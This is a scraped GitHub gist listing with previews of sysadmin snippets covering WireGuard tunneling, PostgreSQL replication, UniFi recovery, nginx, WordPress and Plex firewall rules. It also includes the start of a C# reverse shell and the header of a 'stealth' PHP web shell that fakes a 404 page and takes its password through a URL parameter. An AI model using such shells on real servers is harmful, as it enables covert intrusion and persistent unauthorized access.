Skip to content

Instantly share code, notes, and snippets.

View VirtuBox's full-sized avatar
🚀
Back to work

VirtuBox VirtuBox

🚀
Back to work
View GitHub Profile
@tombowditch
tombowditch / tunneling.md
Last active March 4, 2024 20:56 — forked from itslukej/tunneling.md
Tunneling a whole process through wireguard

Tunneling a whole process through wireguard

Certain company blocking a certain hosting provider? No problem, just tunnel the process through a small VPS with wireguard.

Consider server A your blocked server and server B your VPS.

Step 1: Generate a keypair on server A and server B

Server A:

@kpirliyev
kpirliyev / postgresql_13_replication.md
Last active March 1, 2024 11:07
PostgreSQL 13 Master-Slave Streaming Replication

PostgreSQL 13 Master-Standby Streaming Replication

PostgreSQL has various types of replication available and it could be a little bit confusing to figure out what has to be done to just configure a simple master-standby replicated database setup. Digging my way through documentation I decided to write my own little guide on how to setup simple replication in PostgreSQL 13.

How it works

Streaming replication works by streaming the contents of WAL (Write-Ahead Logging) file from one server to another. Each transaction is first written into the WAL file, so essentially every change on the primary server will be replicated on the standby server. Standby server could be used for read-only operations, but can't be written to. Ofcourse, transferring data over the network takes time and there is a small lag before data written to one server becomes available on the other. To guarrantee data consistency on both servers at the time of read operation we can enable synchronous replication mode. This way, datab

@AmazingTurtle
AmazingTurtle / how-to-restore.md
Last active April 1, 2024 17:47
restore access to unifi controller

Restore access to a unifi controller

When you are unable to login to the unifi controller or forgot admin password, you can restore access using SSH and manipulating mongodb directly.

Warning

Do not uninstall unifi controller - most of the data is not stored in mongodb. In case you thought a mongodb backup would be sufficient, you may have fucked up already, just like me. However I managed to write this "tutorial" for anyone to not run into the same trap.

Apparently this guide no longer works with recent unifi controller versions (starting nov/dec 2022). Since I no longer use unifi hardware in my home system, I can not update the guide myself. In case you've gotten here to recover your data, you're likely doomed. But giving it a try won't hurt anyway, therefore: good luck.

@dayne
dayne / 0-README-Barrier_Config.md
Last active November 14, 2022 18:01
barrier configuration

I try to avoid using the GUI to configure/run barrier so I created a simple bash script barrier-client.sh to launch my barrier client. It reads from a .config/barrier.cfg file I created to determine the client name and server to connect to.

cat ~/.config/barrier.cfg

BARRIER_CLIENT_NAME=${HOSTNAME}
BARRIER_SERVER=gilbert.lan:24800

This expects the client to already be configured to trust the server. That trust is managed by the ~/.local/share/barrier/SSL/Fingerprints/TrustedServers.txt which should have the fingerprint of the server.

@BankSecurity
BankSecurity / Simple_Rev_Shell.cs
Last active May 6, 2024 06:24
C# Simple Reverse Shell Code
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
#!/bin/bash
#
# Written by AC - 2015 <al@terraltech.com> - sys0dm1n.com
#
URL=$1
wget --quiet http://$URL/sitemap.xml --no-cache --output-document - | egrep -o "http(s?)://$URL[^ \"\'()\<>]+" | while read line; do
if [[ $line == *.xml ]]
then
newURL=$line
@Bharat-B
Bharat-B / hostname.conf
Created February 23, 2018 08:22
WHMCS nGINX rules for SSL / Non SSL
### NON SSL | STANDARD HTTP
server {
listen 80;
server_name domain.com;
root /path/to/whmcs;
index index.php index.html;
access_log /var/log/nginx/domain.com.log combined;
access_log /var/log/nginx/domain.com.bytes bytes;
error_log /var/log/nginx/domain.com.error.log error;
location / {
@ttycelery
ttycelery / idx_v3_modified.php
Last active June 4, 2023 15:31
IndoXploit Shell v3 (Stealth Version)
<?php
/*
* # IndoXploit v3 Web Shell (Stealth Version)
* # What was involved?
* - Uses dynamic 404 page from the server to make the web shell looks like it was deleted
* - Login method is by using GET parameters, (example: 'http://example.com/idx_s.php?passwd=password_saia_kaka')
* # Important Bookmark
* - Password configuration at line 27
* - login_shell() function at line 40-52
* - Login validation at line 57-64
@khromov
khromov / disable-rest-api-for-anonymous-users.php
Created October 13, 2017 15:55
Disable WordPress REST API for anonymous users
<?php
/*
Plugin Name: Disable REST API for anonymous users
*/
/**
* Remove all endpoints except SAML / oEmbed for unauthenticated users
*/
add_filter( 'rest_authentication_errors', function($result) {
if ( ! empty( $result ) ) {
@nmaggioni
nmaggioni / ufw_plex.md
Last active April 23, 2024 19:54 — forked from andrey-str/ufw plexmediaserver app profile.md
Plex Media Server UFW rule

/etc/ufw/applications.d/plexmediaserver

[plexmediaserver]
title=Plex Media Server (Standard)
description=The Plex Media Server
ports=32400/tcp|3005/tcp|5353/udp|8324/tcp|32410:32414/udp

[plexmediaserver-dlna]
title=Plex Media Server (DLNA)
description=The Plex Media Server (additional DLNA capability only)